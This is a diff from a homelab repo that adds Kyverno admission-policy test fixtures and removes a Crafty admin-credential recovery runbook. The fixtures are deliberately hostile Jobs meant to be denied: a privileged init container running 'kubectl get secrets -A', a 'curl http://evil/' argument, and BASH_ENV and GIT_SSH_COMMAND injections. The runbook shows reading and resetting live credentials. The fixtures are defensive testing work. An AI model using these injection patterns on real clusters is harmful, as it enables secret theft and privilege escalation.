resources: [injected-args]
result: fail
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
# is the coordinator's independent reproduction; keeping it here is what stops the hole
# reopening.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
result: fail
# ---- and via the third container list nobody was reading ----
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [evil-ephemeral-container]
result: fail
# ---- and via `env`, the same mistake a third time ----
# `command` is pinned, so the injection moves to a variable the pinned command honours.
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
# env rule has to exist separately.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [injected-env, injected-initcontainer-env]
result: fail
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [envfrom-whole-secret]
result: fail
@@ -1,4 +1,76 @@
# The committed shape — must be ADMITTED.
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
# `results` are the only two volume names admission allows. Must be ADMITTED.
#
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# The init container carries NO args: its logic is baked into the runner image at
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
# see `evil-initcontainer` below for the escalation it closes.
apiVersion: batch/v1
kind: Job
metadata:
name: real-template
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
securityContext:
runAsNonRoot: true
runAsUser: 65532
fsGroup: 65532
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
# BY SECRET NAME ONLY — and as env, not as a volume.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
volumeMounts:
- { name: workspace, mountPath: /workspace }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
containers:
- name: chainsaw
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
workingDir: /workspace/src/conformance
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The minimal committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
@@ -152,3 +224,241 @@ spec:
volumes:
- name: workspace
emptyDir: {}
---
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
# INIT container running as the privileged conformance-runner SA. Before
# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
#
# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
# Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: sneak
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
privileged: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
# command mean anything, so this must be DENIED even though image and command are correct.
apiVersion: batch/v1
kind: Job
metadata:
name: initcontainer-with-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
args: ["--exec", "curl http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
# and caps the count. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: second-initcontainer
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
- name: also-me
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
# script runs. Everything else here is the committed shape. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: BASH_ENV
value: /workspace/src/conformance/_pwned
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: envfrom-whole-secret
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
envFrom:
- secretRef:
name: anything-in-this-namespace
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
# is the thing that reads them. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-initcontainer-env
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
- name: GIT_SSH_COMMAND
value: "sh -c 'kubectl get secrets -A'"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
# this case may be unreachable in practice; the rule and this fixture exist because
# "probably rejected upstream" is not a boundary. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-ephemeral-container
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
ephemeralContainers:
- name: debugger
image: docker.io/library/alpine:latest
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
-6
View File
@@ -115,12 +115,6 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
Includes why a changed Secret does not restart anything, and why an expired token is harmless.
- **`crafty-admin-credential`** — you signed into Keycloak and Crafty *still* asks for a password.
Expected: Crafty 4 has no OIDC, so its own local login sits behind the oauth2-proxy gate as a second
factor. The page tells the two layers apart from the sidecar log, and explains that the bootstrap
password exists **only** on the PVC (`default-creds.txt`, generated once on first boot, never in git).
Includes the argon2 reset for a lost password, why the 3-strikes lockout cannot fire behind the
sidecar, and why deleting `crafty.sqlite` to force a new password destroys every server definition.
### Virtualisation
- **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.
-179
View File
@@ -1,179 +0,0 @@
# crafty-admin-credential — Crafty's own login rejects you after Keycloak sign-in
**Not alert-driven.** This is an operator procedure, linked from
[`platform/crafty/README.md`](../platform/crafty/README.md). It covers getting into the Crafty panel the
first time, rotating that credential, and recovering when it is lost.
> **Everything below prints or sets a LIVE credential.** Do not paste the output into a PR, an issue, a
> chat, or an AI agent transcript. Read it, use it, rotate it. (Repo rule §6: secrets never enter a
> transcript.)
## What this means here
`crafty.home.keithjackson.dev` sits behind **two** independent authentications, and only the first is
Keycloak's:
1. the **oauth2-proxy sidecar** in the Crafty pod — Keycloak `homelab` realm, group `platform-admins`;
2. **Crafty's own local username/password login** — Crafty 4 has no OIDC and cannot consume the
sidecar's identity headers, so it shows its own login page to an already-authenticated user.
So "I signed into Keycloak and I'm still not signed in" is the **expected** shape of this service, and
the real question is only ever *which* of the two rejected you. They fail differently:
| Where you are | What you see | Which layer |
|---|---|---|
| Bounced to Keycloak repeatedly, never reach Crafty | sidecar log: `No valid authentication in request` | oauth2-proxy |
| Authenticated but `403` | not in `platform-admins` | oauth2-proxy |
| **Crafty's own login page, credentials refused** | `POST /api/v2/auth/login/` → **401** | **Crafty local** |
The third row is the one that blocks setup, because **nothing in the UI tells you where that password
comes from**. Crafty generates it **once, on first boot only** — when the users table is empty
(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`) — and writes it to
`/crafty/app/config/default-creds.txt` (mode `0600`) on the `config` subPath of the `crafty-data` PVC.
It is **never in git** and **cannot be recovered from git**: a rebuild onto a fresh PVC generates a new
random password, and the old one is gone with the old volume.
Two things that are *not* the problem, both verified live:
- **Repeated wrong guesses cannot lock you out.** Crafty *records* failed attempts under
`get_remote_ip()` (honours `X-Forwarded-For`) but *checks* the 3-strikes cooldown under
`self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The halves key
differently, so `max_login_attempts: 3` never fires. (It also means that throttle is not a control
you have — the `platform-admins` gate is what limits who reaches the form at all.)
- **Crafty's `set_passwd` console command is unreachable here.** It calls `getpass.getpass()` and needs
a TTY; the container runs `main.py -d -i` as a daemon. Recovery goes through the DB instead.
## First commands
`kubectl` does not exist on the workstation — the toolchain lives only in the pinned dev container, and
`dev.sh` picks a current-context **per invocation**, so always name the context.
**1. Is the pod healthy, and is the password still the generated one?**
```bash
./infra/devcontainer/dev.sh run bash -c '
kubectl --context k3s-prod -n crafty get pods -l app.kubernetes.io/name=crafty
kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
import sqlite3
c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
for r in c.execute(\"SELECT username,created,last_update,last_login FROM users WHERE user_id=1\"):
print(\"created :\",r[1]); print(\"last_update:\",r[2]); print(\"last_login :\",r[3])
"'
```
Read `last_update` against `created`: **equal ⇒ the password has never been changed**, so
`default-creds.txt` is still live. Different ⇒ someone rotated it and that file is stale — skip to
*Reset*.
**2. Read the bootstrap credential** (prints a live secret — see the warning at the top):
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/default-creds.txt'
```
The username is `admin`. Sign in at `https://crafty.home.keithjackson.dev` (Keycloak first, then this).
**3. Rotate it immediately**, in the UI: user menu → your profile → change password. That is the only
supported path that keeps Crafty's own bookkeeping consistent. Then confirm it took — re-run command 1
and check `last_update` has moved away from `created`.
## Likely causes, most likely first
1. **You never had the password.** By far the most common, and the reason this runbook exists. The
credential was only ever on the PVC. → commands 1–3 above.
2. **The password was rotated and not recorded.** `last_update` ≠ `created` while nobody knows the
value. `default-creds.txt` is now misleading, not authoritative. → *Reset* below.
3. **The PVC was rebuilt.** A fresh volume means a fresh random password *and* an empty panel — no
servers, no worlds (`platform/crafty/README.md`, "the servers themselves are NOT in git"). Read
`default-creds.txt` from the new pod; do not expect the old credential to work.
4. **You are actually stuck at the oauth2-proxy layer, not Crafty's.** Check which layer is talking
before touching any password:
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty logs deploy/crafty -c oauth2-proxy --tail=200 | grep -v kube-probe'
```
`[AuthSuccess] ... groups:[platform-admins]` followed by a `200` on `/login` means oauth2-proxy did
its job and the 401 is Crafty's. Repeated `No valid authentication in request` with no `AuthSuccess`
means the session cookie is not surviving — see *cookie isolation* in
`platform/crafty/README.md`; this sidecar must keep its own `--cookie-name` distinct from the shared
proxy's, or the two evict each other.
5. **`platform-admins` membership lapsed.** A `403` rather than a login page. Fix in Keycloak, not here.
## Reset when the password is unknown
Crafty stores an **argon2** hash in `users.password`. This writes a fresh random password, invalidates
existing sessions, and drops the new value into a `0600` file **inside the pod** — deliberately
mirroring Crafty's own `default-creds.txt` idiom so the secret never crosses argv, stdin or shell
history. (`dev.sh` does **not** forward stdin — a `kubectl exec -i` here hangs forever, which is why the
password is generated in-pod rather than passed in.)
Two details that will otherwise cost you the afternoon: argon2 is installed **only** in Crafty's venv,
so it must be `/crafty/.venv/bin/python`, not the system `python3`; and this is a **mutating operator
action**, not an agent action.
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- /crafty/.venv/bin/python -c "
import os, secrets, sqlite3, string, datetime
from argon2 import PasswordHasher
pw = \"\".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(24))
now = datetime.datetime.now()
c = sqlite3.connect(\"/crafty/app/config/db/crafty.sqlite\", timeout=30)
cur = c.execute(
\"UPDATE users SET password=?, last_update=?, valid_tokens_from=? WHERE username=?\",
(PasswordHasher().hash(pw), str(now),
str(datetime.datetime.now(datetime.timezone.utc)), \"admin\"),
)
c.commit()
print(\"rows updated:\", cur.rowcount)
out = \"/crafty/app/config/reset-creds.txt\"
open(out, \"w\").write(pw + chr(10))
os.chmod(out, 0o600)
print(\"new password written to\", out)
"'
```
Expect `rows updated: 1`. Then read it, sign in, rotate in the UI, and delete the file:
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/reset-creds.txt'
# after signing in and rotating:
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- rm -f /crafty/app/config/reset-creds.txt'
```
`rows updated: 0` means the username is not `admin` — list the accounts (names only, never the
`password` column) and retry against the right one:
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
import sqlite3
c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
print([r[0] for r in c.execute(\"SELECT username FROM users\")])
"'
```
`database is locked` means Crafty held the write lock; the `timeout=30` usually rides it out, otherwise
retry. The panel picks the new hash up on the next login attempt — no restart needed, and a restart
costs a Minecraft-server stop (`strategy: Recreate` on an RWO volume), so do not restart reflexively.
## When to escalate or stop
- **Stop** as soon as you can sign in, and **rotate immediately** — do not leave the generated
bootstrap password in place as the standing admin credential, and do not leave `reset-creds.txt` on
the PVC.
- **Do not `kubectl edit`/`patch`/`apply`** the Deployment to work around a login problem. Flux
reconciles `main`; hand-applied changes are drift. Manifest changes go through a branch and a PR.
- **Do not delete `crafty.sqlite`** to force a "fresh install" and a new generated password. It holds
every server definition — jar, ports, heap, `auto_start` — and losing it means recreating each server
by hand, re-accepting the Mojang EULA, and re-`PATCH`ing `auto_start`. The worlds under
`/crafty/servers/<uuid>/` are not in git and not recreatable. The reset above is always cheaper.
- **Escalate to the Keycloak side** (`runbooks/keycloak-down.md`,
`runbooks/keycloak-client-secrets.md`) if there is no `AuthSuccess` in the sidecar log at all — that
is an IdP or client-secret problem and no Crafty password will help.
- **If `default-creds.txt` is absent on a pod whose DB says the password was never changed**, stop and
hand off: that combination should not occur, and it suggests the `config` subPath is not the volume
you think it is. Record what you measured rather than guessing.
-3
View File
@@ -60,9 +60,6 @@ configMapGenerator:
- cnpg-exporter=cnpg-exporter.md
- cnpg-primary-spread=cnpg-primary-spread.md
- cnpg-wal-growth=cnpg-wal-growth.md
# Operator procedure, not alert-linked (Crafty's local login is a second factor behind
# the Keycloak gate and its bootstrap password lives only on the PVC).
- crafty-admin-credential=crafty-admin-credential.md
- denied-flows=denied-flows.md
- flux-reconcile=flux-reconcile.md
- flux-suspended=flux-suspended.md